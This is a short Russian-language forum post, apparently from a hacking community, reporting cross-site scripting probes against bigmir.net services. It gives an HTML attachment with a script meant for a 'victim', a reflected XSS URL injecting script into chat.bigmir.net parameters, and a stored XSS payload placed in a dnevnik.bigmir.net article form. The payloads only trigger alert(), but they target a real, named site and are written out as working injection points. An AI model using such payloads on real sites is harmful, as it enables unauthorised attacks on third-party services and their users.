Попробовал по быстрому пробежатся по сайту... прикрепляем в письме файл типа: none.html с содержымым: <html> <script>alert()</script> </html> Если "Жертва" откроет файл то вылезит alert но, это всё ерунда Ищу дальше....
http://chat.bigmir.net/message/index.php?enterMessage="><script>alert()</script>&message="><script>alert()</script>
В http://dnevnik.bigmir.net/add_article/dnevnikВбил в тексе HTML: <a href="http://antichat.ru"><script>alert()</script>" target="_blank">"><script>alert()</script></a>
